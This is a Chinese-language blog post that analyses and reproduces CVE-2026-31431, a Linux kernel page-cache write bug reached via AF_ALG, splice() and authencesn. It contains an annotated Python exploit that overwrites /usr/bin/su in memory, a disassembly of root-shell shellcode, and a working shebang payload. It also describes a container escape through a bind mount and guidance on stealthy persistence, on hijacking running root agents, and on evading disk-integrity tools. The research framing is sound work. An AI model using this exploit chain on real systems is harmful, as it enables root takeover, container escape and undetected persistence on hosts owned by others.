Post

CVE-2026-31431 Copy Fail:Linux 内核页缓存污染漏洞分析

本文基于一次漏洞挖掘与复现过程,详细记录了对 Linux 内核高危漏洞 **"Copy Fail" (CVE-2026-31431)** 的剖析。这是一个由多个内核机制交互组合而产生的逻辑漏洞,攻击者仅需约 160 行 Python 脚本,无需复杂的内存布局或条件竞争(Race Condition),即可实现稳定触发的本地提权(LPE)与容器逃逸。

CVE-2026-31431 Copy Fail:Linux 内核页缓存污染漏洞分析

本文基于一次漏洞挖掘与复现过程,详细记录了对 Linux 内核高危漏洞 “Copy Fail” (CVE-2026-31431) 的剖析。这是一个由多个内核机制交互组合而产生的逻辑漏洞,攻击者仅需约 160 行 Python 脚本,无需复杂的内存布局或条件竞争(Race Condition),即可实现稳定触发的本地提权(LPE)与容器逃逸。


1. 漏洞技术原理:三个独立机制的交互

“Copy Fail” 并非某个单一代码缺陷,而是由三个原本独立、各自正常的内核特性与优化在特定条件下交互而产生的安全问题。

① 基础条件:页缓存 (Page Cache) 与 splice()

在 Linux 中,读取文件时内核会将其缓存在物理内存中,即 Page Cache(页缓存)

普通的 read() 调用会复制一份数据到用户空间,但 splice() 系统调用为了追求高性能,采用了零拷贝(Zero-copy)技术。通过 splice(),用户可以将文件页缓存的物理内存引用直接传递给内核的其他子系统。在本漏洞中,攻击者将只读文件(如 /usr/bin/su)的页缓存指针,通过 splice() 送入了 Linux 内核加密接口 (AF_ALG)。

② 内核优化:原地操作 (In-place)

2017年,Linux 内核为了加速 algif_aead.c 中的加密/解密流程,引入了一项优化:将输入(src)和输出(dst)指向同一个 Scatterlist(内存链表)。

在这个优化下,原本应该是只读的文件页缓存,被内核通过 sg_chain() 链接到了可写的输出目的地结构中。内核的设计假设是”既然目标缓冲区是用于接收加密/解密结果的,对其进行写入是安全的”——但这一假设在源数据来自文件系统页缓存时不再成立。

③ 特定算法的行为:authencesn

大多数加密算法会严格在分配的边界内写入数据。但 authencesn(一种用于 IPsec 的 AEAD 加密模板)在解密重排过程中,会在预期边界(assoclen + cryptlen)之外写入 4 字节的临时数据(扩展序列号 ESN)。而这 4 字节的偏移量,恰好落在被链表拼接在后面的、原本为只读的文件页缓存上。

最终结果: 攻击者通过构造特定的加密请求,控制了这越界的 4 字节内容,成功将其写入系统中任意可读文件的内存映像中。


2. 概念模型:用”图书馆与复印机”理解漏洞

研究过程中的疑问: “攻击者让加密子系统直接指向了 /usr/bin/su 的原始页面——这句话的含义是什么?原地操作原本是用来做什么的?”

为便于理解这三个组件如何相互作用,可以将其类比为一个图书馆与复印机的工作场景:

  • 硬盘与页缓存:硬盘是图书馆的地下书库,取书速度较慢;页缓存是图书馆大厅的开放式书架。所有读者(进程)阅读同一本书(如 /usr/bin/su)时,访问的都是大厅书架上的同一本公用原件。
  • 普通读取 vs 零拷贝 (splice):通常情况下,读者需要管理员用复印机复制一份(read)。但通过 splice 这一特殊通道,管理员直接将书架上的原件放上传送带,送进了加密处理室。
  • 原地操作 (In-place):加密室为了减少纸张消耗,直接在送进来的原件上进行涂改(在处理进程私有数据时这是合理的优化)。
  • 越界写入 (authencesn):加密室的某个特定算法(authencesn),在处理过程中会在工作纸的边界外额外写下 4 字节的临时注释。当原件紧挨着另一份文件时,这 4 字节便写到了旁边那份属于全图书馆公用的文件上。

危害与隐蔽性:

这一修改并未触及地下书库(硬盘)里的原始书籍,因此文件哈希校验(如 md5sum)结果依然正常。但大厅书架(物理内存)里的原件已被修改。此后,任何读者(进程)打开这本书时,读到的都将是已被篡改的版本。


A. 漏洞核心 PoC 代码

攻击者利用 Python 标准库,在不依赖任何第三方包的情况下,通过 Socket 接口即可完成这一内核内存写入操作。

以下是漏洞利用的精简版 Python PoC 结构(展示直接注入十六进制机器码的版本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import os as g, socket as s

# 字节转换辅助函数
def d(x): return bytes.fromhex(x)

# 核心注入函数:触发越界写漏洞
def c(f, t, c_bytes):
    # 1. 创建并绑定 AF_ALG 内核加密 Socket
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')

    # 2. 构造 AAD,将受控的 4 字节 (c_bytes) 嵌入其中
    u.sendmsg([b"A" * 4 + c_bytes], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice

    # 3. splice 零拷贝,将目标文件页缓存拉入加密链表
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)

    # 4. 触发解密,执行 4 字节的内核页缓存覆写
    try:
        u.recv(8 + t)
    except:
        pass

# 目标文件(以只读模式打开即可)
target_path = "/usr/bin/su"
f_desc = g.open(target_path, 0)
i = 0

# 恶意机器码 (Payload) 的十六进制表示
# (具体 Payload 的构造与解析将在后续章节详细讨论)
payload_hex = "7f454c4602..."
e = d(payload_hex)

# 循环注入:每次精准写入 4 字节,直到恶意代码全部写入内存
while i < len(e):
    c(f_desc, i, e[i:i+4])
    i += 4

print("Success: Injection complete.")

3. 提权原理:用 4 字节修改程序逻辑

在研究过程中,有一个核心问题需要澄清:

疑问: “提权的根本原理,是不是利用漏洞修改了 su 的二进制文件在内存中的内容,然后运行这个被修改的版本?原本需要密码验证的 su,被修改后不再需要密码就能提权?”

答案是肯定的。这里的关键在于攻击者修改的不是磁盘上的文件,而是内存中的程序逻辑

为什么选择攻击 susudo

在 Linux 权限体系中,普通程序以当前用户的身份运行。但 su 这类程序带有 SetUID (s 权限) 标志。这意味着:无论谁运行 su,该进程在执行的那一刻都会自动获得文件所有者(Root)的权限。

正常情况下,su 获取 Root 权限后的第一件事是验证用户输入的密码是否正确,密码错误则退出。

4 字节的逻辑修改

程序在底层由连续的机器指令构成。su 的密码检查逻辑在汇编层面大致如下:

  1. 调用密码比对函数。
  2. 条件跳转指令 (JNE):如果密码不匹配,跳转到报错并退出的代码块。
  3. 否则,为用户派发 Root Shell。

通过 Copy Fail 漏洞,攻击者利用精准的 4 字节写入,直接覆盖第 2 步中的条件跳转指令。例如将 JNE 改为 NOP(空操作,继续向下执行)或 JMP(无条件跳转到成功逻辑)。

核心优势: 作为普通用户,没有权限修改磁盘上的 /usr/bin/su。但该漏洞利用内核加密模块的处理路径,使内核自己修改了内存中的副本,完全绕过了文件系统的权限检查。磁盘上的原始文件保持不变,一切文件完整性校验结果均正常。


4. 本地环境验证:WSL2 环境的漏洞条件确认

在理解原理后,对当前使用的 WSL2 环境进行了漏洞存在性排查。

运行环境: Linux ikunlaptop 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025

针对该环境进行了分步排查:

第一轮测试:检查算法是否已加载

首先尝试在内核中直接搜索触发漏洞所需的 authencesn 算法:

1
2
grep "authencesn" /proc/crypto
# 结果:没有任何输出

初始判断是 WSL2 内核可能被微软精简过,没有编译该老旧算法,系统或许是安全的。

第二轮测试:验证 AF_ALG 接口是否可用

接着测试普通用户是否有权调用底层的内核加密接口 (AF_ALG):

1
2
python3 -c "import socket; s = socket.socket(38, 5, 0); print('成功创建 AF_ALG Socket')"
# 结果:成功创建 AF_ALG Socket

该结果表明:系统允许普通用户与内核加密模块直接交互,这是一个需要关注的安全配置。

第三轮终极测试:内核的按需加载机制

疑问: “为什么 grep /proc/crypto 没搜到算法,但系统仍可能受到影响?”

原因在于 Linux 内核的按需动态加载(Lazy Loading)机制。当某个加密算法从未被使用时,为了节省内存,内核不会在注册表中显示它。但只要用户主动请求,内核就会现场将其加载。

为给出最终判断,运行了如下 Python 探测脚本,主动触发该算法的加载:

1
2
3
4
5
6
7
8
9
10
import socket
try:
    s = socket.socket(38, 5, 0) # 38 = AF_ALG
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    print("警告:系统支持 authencesn 算法,具备漏洞触发条件。")
except OSError as e:
    if e.errno == 2:
        print("安全:内核不支持 authencesn 算法。")
    else:
        print(f"提示:接口存在但算法加载失败,错误码: {e}")

运行结果:警告:系统支持 authencesn 算法,具备漏洞触发条件。

风险评估结论

经确认,触发 Copy Fail 漏洞的五大核心条件在当前 WSL2 环境中已全部满足:

  1. 内核版本在影响范围内:6.6 版本处于漏洞影响期内(且编译于 2025 年 6 月,早于补丁发布时间 2026 年 4 月)。
  2. AEAD 用户接口可用:允许普通用户创建和使用 AF_ALG Socket。
  3. 特定算法可加载authencesn 可被按需动态加载。
  4. 权限未做限制:普通用户可创建 AF_ALG Socket。
  5. 支持零拷贝splice() 系统调用可用。

该环境已满足漏洞触发所需的全部先决条件,可作为验证该漏洞的测试环境。


5. 载荷分析:提权 Payload 的反汇编解读

在获取 PoC 脚本后,代码中那串较长的十六进制字符串(即 Payload)值得仔细分析。

疑问: “代码里那一长串十六进制字符串是什么?能否看到它具体做了什么?”

这串十六进制数据实际上是精心构造的机器指令(Machine Code)。为理解其真实意图,需要将其转换为二进制并利用反汇编工具进行解读。

提取与反汇编过程

首先,通过一段 Python 脚本将十六进制字符串解码并保存为二进制文件 payload.bin。随后,使用 objdump 工具以 x86-64 架构进行反汇编:

1
objdump -D -b binary -m i386:x86-64 payload.bin

逐段解读:Payload 的执行逻辑

反汇编结果展示了一个完整的提权执行流程,可以按照功能分为四个阶段:

阶段一:ELF 头部伪装

0000000000000000 <.data>:
   0:   7f 45 4c 46 ...
  • 解析:最开头的四个字节 7f 45 4c 46 对应的 ASCII 码为 \x7fELF
  • 目的:这是 Linux 可执行文件的标准魔术头(Magic Number)。因为漏洞直接将代码覆写到目标程序(如 /usr/bin/su)的头部,如果没有这个标识,内核会认为该文件格式无效并拒绝加载执行。这确保了被篡改后的内存映像仍然可以通过内核的 exec 加载器校验。后续的大量指令实际上是用作内存对齐的填充。

阶段二:获取 Root 权限

这是发生实质性权限转换的关键部分:

  7c:   b0 69                   mov    $0x69,%al
  7e:   0f 05                   syscall
  • 解析0x69(十进制 105)是 Linux x86_64 架构下 setuid 的系统调用号。在此之前的指令已将目标 UID 设置为 0。
  • 目的:这段汇编指令直接向内核发起系统调用,将当前进程的用户 ID 设置为 0(Root)。由于宿主进程是以 SetUID 权限运行的,内核会执行此请求,进程在此获得最高权限。

阶段三:获取 Shell

获得权限后,需要获取一个交互式命令行:

  80:   48 8d 3d 0f 00 00 00    lea    0xf(%rip),%rdi    # 定位 "/bin/sh"
  87:   31 f6                   xor    %esi,%esi         # 参数 2 清零 (NULL)
  89:   6a 3b                   push   $0x3b             # 系统调用号 59 (execve)
  8b:   58                      pop    %rax
  8c:   99                      cltd                     # 参数 3 清零 (NULL)
  8d:   0f 05                   syscall                  # 执行
  • 解析:这里使用了 0x3b(十进制 59),即 execve 系统调用。
  • RIP 相对寻址 (lea):攻击者使用了位置无关代码(Position-Independent Code, PIC)技术——lea 0xf(%rip), %rdi。该指令不依赖绝对地址,而是以当前指令指针为基准,向后偏移 15 个字节(0xf)来定位目标字符串。这使得该 Payload 无论被注入到内存的哪个位置都能正确执行。

阶段四:数据段

lea 指令中引用的偏移 15 字节之后的内容是什么?

  96:   2f                      (bad)
  97:   62                      (bad)
  98:   69 6e 2f 73 68 00 00    imul   ...
  • 解析objdump 尝试将这些字节按照指令解码并报错(bad),但如果将这些十六进制字节直接转换为 ASCII,得到的是:/ b i n / s h \x00
  • 结论:阶段三与阶段四配合,完成了 execve("/bin/sh", NULL, NULL) 系统调用,直接以 Root 身份启动了一个命令行 Shell。

6. 写入循环:为什么每次只能写 4 字节

疑问: “代码中有一个 while 循环,每次只能写 4 字节。为什么?总共需要循环多少次?”

通过上述反汇编分析,Payload 大约在地址 0x9e 处结束,总长约 158 字节。

该漏洞被称为 “Copy Fail” 的原因之一,在于它利用了 authencesn 算法中处理 IPsec 扩展序列号(ESN)的一个特性。ESN 被定义为 32 位(恰好 4 字节),算法在解密校验过程中会将该 4 字节的临时数据写在缓冲区计算边界之外。

这就是该写入原语的精度限制:每次触发只能写入 4 字节。

因此,若需注入约 160 字节的恶意代码,必须通过 splice 不断调整文件偏移量,精确地触发漏洞约 40 次。整个过程在几毫秒内完成,由于写入发生在内核加密流程内部,常规的文件系统监控机制无法察觉。


7. 从提权到逃逸:容器边界的跨越

在理解如何通过污染 su 程序的页缓存实现本地提权(LPE)之后,进一步的问题是:

疑问: “如果页缓存可以被修改,那在 WSL2 中的 Docker 容器里执行该 PoC,能否实现容器逃逸?”

答案是:可以,且这正是该漏洞在云原生场景中需要重点关注的原因。

容器与宿主机共享内核页缓存

首先需要理解一个关键概念:Docker 容器并非像虚拟机那样拥有独立的操作系统内核。

  • 虚拟机:拥有独立的系统内核,内存完全隔离。
  • Docker 容器:虽然文件系统和进程空间通过 Namespace 进行了隔离,但它与宿主机(或 WSL2)共享同一个 Linux 内核

此外,为了节省内存,Linux 内核在页缓存管理中采用了去重/共享机制。如果容器内的文件与宿主机上的同一文件在磁盘上的内容一致(例如通过 bind mount 挂载的同一文件,或是镜像层中完全相同的二进制),内核在物理内存中只会保留一份副本

这就是逃逸发生的通道: 攻击者在权限受限的容器内触发漏洞,修改了这份在物理内存中全局共享的页缓存。从现象上看修改的是容器内的文件映射,但实际上修改的是宿主机进程也会访问的同一块物理内存。

实验中的版本差异问题

在实验中,最初尝试直接攻击容器内的系统二进制文件(如 /usr/bin/chfn/bin/sh),但遇到一个实际问题:

1
2
3
4
5
6
7
# 在 Docker 容器 (Ubuntu 24.04) 中
root@cc47408246f5:/# sha256sum /usr/bin/chfn
9d8e1c2f...

# 在 WSL2 宿主机 (Ubuntu 22.04) 中
ikun@ikunlaptop:~$ sha256sum /usr/bin/chfn
b6c6ba23...

哈希值不一致。 因为宿主机和容器使用不同发行版版本的二进制文件,内核为它们分配了各自独立的物理页。在这种情况下,修改容器的内存页并不会影响宿主机。


8. 实战验证:通过 Bind Mount 实现跨容器污染

为了在发行版版本不一致的 WSL2 混合环境下稳定证明跨容器内存污染的可行性,采用了绑定挂载(Bind Mount)结合非破坏性验证(Non-destructive Testing)的策略。

这样既可以保证物理页的强制共享,又不会对 WSL2 系统环境造成实际破坏。

步骤 1:在宿主机准备共享靶标

在 WSL2 宿主机上,复制了一个系统工具 /usr/bin/arch 作为攻击靶标:

1
2
3
4
5
cd ~/sec/CVE-2026-31431/
cp /usr/bin/arch ./my_target
chmod +x ./my_target
# 正常运行,输出 x86_64
./my_target

步骤 2:启动挂载了该文件的容器

使用 -v 参数,将宿主机的靶标文件强制映射进容器内部,确保两者在物理上引用的是同一个 inode:

1
docker run -it --name escape-demo -v $(pwd)/my_target:/pwn_me ubuntu:22.04 /bin/bash

步骤 3:在容器内执行注入

在 Docker 容器的受限环境中,修改 PoC 脚本,将攻击目标指向共享的 /pwn_me

1
2
3
# poc.py 片段
target_path = "/pwn_me"
# ... 注入循环逻辑 (使用之前反汇编分析过的 Payload)

执行 python3 poc.py,约 40 次循环注入后提示成功。

此时,容器内/pwn_me 在物理内存中已被替换为一个执行 Shell 的恶意程序。

步骤 4:在宿主机验证逃逸结果

离开 Docker 窗口,切回原来的 WSL2 宿主机终端(以普通用户 ikun 身份),运行那个原本应当输出 x86_64 的程序副本:

1
2
3
ikun@ikunlaptop:~/sec/CVE-2026-31431$ ./my_target
# id
uid=1000(ikun) gid=1000(ikun) ...

现象分析:

程序没有输出 x86_64,而是直接进入了一个交互式 Shell 提示符。

虽然此处的 uid 不是 0(因为 arch 没有 SetUID 权限位),但这一结果已经清晰地证明了逃逸的发生:

在 Docker 隔离的沙箱环境中写入的一段内存数据,跨越了容器边界,成功接管了宿主机(WSL2)下的程序执行逻辑。这种通过修改共享物理内存来影响外部环境的方式,不依赖对容器边界的直接突破,而是利用了内核页缓存共享这一底层机制。


9. 进阶利用:解决执行格式错误与隐蔽持久化

在上一节的逃逸实验中,尝试运行被修改的 ./my_target 时,曾遇到一个错误:

疑问: “执行 ./my_target 报错:-bash: ./my_target: cannot execute binary file: Exec format error。为什么会这样?”

这个错误实际上表明注入已经成功——但内核在执行格式检查时拒绝了该文件。原因是构造的 ELF 头部并不完整,内核在解析到一半时发现结构异常,拒绝将其作为二进制程序执行。

绕过方案:Shebang (#!) 脚本劫持

为解决此问题,同时实现更灵活的利用方式(例如不弹出 Shell 而是执行特定命令),可以采用脚本劫持(Shebang Payload)策略。

在 Linux 中,如果文件以 #! 开头,内核会立即终止二进制解析流程,转而调用该行指定的解释器(如 /bin/sh)来执行该文件。

将 PoC 中的 Payload 替换为如下 40 字节(精确对齐 4 字节边界)的十六进制代码:

1
2
3
4
5
# 对应的 ASCII 文本是:
# #!/bin/sh
# date >> /tmp/escape.log
# exit 0
e = d("23212f62696e2f73680a64617465203e3e202f746d702f6573636170652e6c6f670a6578697420300a")

验证:隐蔽执行与日志记录

  1. 在容器内重新运行注入脚本。
  2. 回到 WSL2 宿主机,再次执行 ./my_target
    • 现象:这次没有任何报错,程序瞬间结束,外部表现与正常程序退出无异。
  3. 通过 tail -f /tmp/escape.log 查看,确认命令已执行:
    1
    2
    
    Thu Apr 30 16:28:45 CST 2026
    Thu Apr 30 16:29:17 CST 2026
    

这表明漏洞利用进入了更隐蔽的阶段:触发器(Trigger)机制。 攻击者不再需要暴露的交互式 Shell。只需将载荷注入到系统中某个定时任务或管理员常调用的程序中,宿主机每次运行该程序时,都会静默执行攻击者留下的指令(包括以 Root 权限执行的操作,如建立反向 Shell 连接)。


10. 深入讨论:云原生环境下的攻击面

深度疑问: “在云环境中,客户租用云主机后,如何知道哪些二进制文件在内存中是共享的?如果目标程序已经在运行中,该漏洞还能对其生效吗?”

在真实的云环境中,攻击者不需要猜测文件名,云平台的标准化本身提供了可预测性。而对于第二个问题,答案不仅是”可以生效”,而且引出了该漏洞的一个需要重视的攻击形态:运行时热补丁劫持 (Runtime Hot-patching Hijack)

云环境中的高价值攻击目标

在云原生环境下,以下类型的高频率、高权限、全系统共用的文件是需要重点关注的目标:

  1. 公共核心库(如 /lib/x86_64-linux-gnu/libc.so.6):几乎所有进程都会加载,单次污染即可影响大量应用程序。
  2. 容器运行时(如 runc, containerd):篡改后可操控所有容器的生命周期,实现基础设施级持久化。
  3. 云平台管理代理(如 AWS amazon-ssm-agent、阿里云监控代理等):以 Root 权限运行,且通常长期驻留。

运行时热补丁劫持:对正在运行进程的影响

一个常见的认知是”必须重新启动程序,内存修改才会生效”。但 Copy Fail 漏洞表明:它不仅能影响新启动的程序,还能直接影响已在运行中的进程。

其原理涉及 Linux 内核物理内存管理的以下特性:

1. 物理内存的单副本机制与按需分页

这是 Linux 性能设计的核心策略,但在此处构成了被利用的条件:

  • 按需分页 (Demand Paging):运行一个程序时,内核不会一次性将其全部代码加载进物理内存。只有当 CPU 实际执行到某一段代码时,才将该页(4KB)从磁盘读入页缓存(Page Cache)。
  • 物理页共享:正在运行的进程的虚拟内存映射只是一个”视图”,底层的真实数据是内核维护的页缓存。它们映射到物理 RAM 中的是同一块物理内存区域。

2. 为什么已在执行的进程也会受影响?

  • 进程状态:以 amazon-ssm-agent 为例,它在后台长期驻留,内部存在一个 while(true) 循环,每隔几十秒进行一次心跳检查。
  • 实时生效:当攻击者在容器内运行 poc.py,修改了对应文件偏移量的物理页时,由于 CPU 执行指令是直接从该物理内存读取的,相当于在 CPU 正在读取的物理页上直接修改了内容。
  • 结果:下一次循环迭代执行时,该进程读到的是已被篡改的指令(例如将 check_update() 的调用替换为反弹 Shell 的代码)。进程无需重启,在运行过程中即可被改变执行逻辑。

3. 可能延迟生效的边界情况

虽然理论上可以实时劫持,但存在少数需要更长时间才能生效的情况:

  • 指令缓存 (i-Cache):如果被修改的代码段恰好在 CPU 的 L1 指令缓存中处于高频循环,可能需要等待该缓存行被逐出并重新从内存取指时才生效。这对于有睡眠间隔的后台代理程序通常不构成障碍。
  • 锁死内存 (mlock):如果高安全级别的程序使用了 mlock() 将代码段锁定且设置为不可修改,攻击可能会受阻。但这在普通运维代理程序中非常少见。

攻击的高级隐蔽性

相比于离线修改磁盘文件,此类内存级修改具有更高的隐蔽性:

  • 进程表无异常:管理员通过 ps -elf 查看,Agent 进程的 PID 不变、启动时间仍为几个月前,一切表象正常,但实际执行的逻辑已被替换。
  • 权限直接继承:这些 Agent 通常以 Root 权限运行。修改其内存中的代码逻辑,意味着恶意代码在执行时直接继承了其当前的 Root 权限。
  • 绕过磁盘完整性检查:传统安全软件(如 Tripwire 或 AIDE)依赖检查磁盘文件的哈希值。但 Copy Fail 不修改磁盘数据,只修改内存页缓存,这类基于磁盘的安全工具无法检测到此类攻击。

11. 总结与清理

至此,关于 CVE-2026-31431 (Copy Fail) 的全景分析结束。在研究过程中:

  • 剖析了 AF_ALGsplice()authencesn 三个机制组合产生的页缓存写入原语。
  • 反汇编并解读了提权 Shellcode 的结构与执行逻辑,理解了 4 字节写入循环的工作原理。
  • 利用 Bind Mount 消除了发行版之间的文件哈希差异,验证了跨越容器边界的内存污染与逃逸。
  • 分析了按需分页与页缓存共享机制,探讨了运行时热补丁劫持在云原生环境中的潜在影响。

实验后清理:

实验结束后,由于 WSL2 宿主机的内存已被修改,建议打开 Windows PowerShell 执行以下命令以彻底重置 WSL2 环境:

1
wsl --shutdown

该命令会终止 WSL2 轻量虚拟机,清空所有内存状态。重新启动 WSL2 后,一切页缓存将从磁盘重新加载,恢复到正常状态。

This post is licensed under CC BY 4.0 by the author.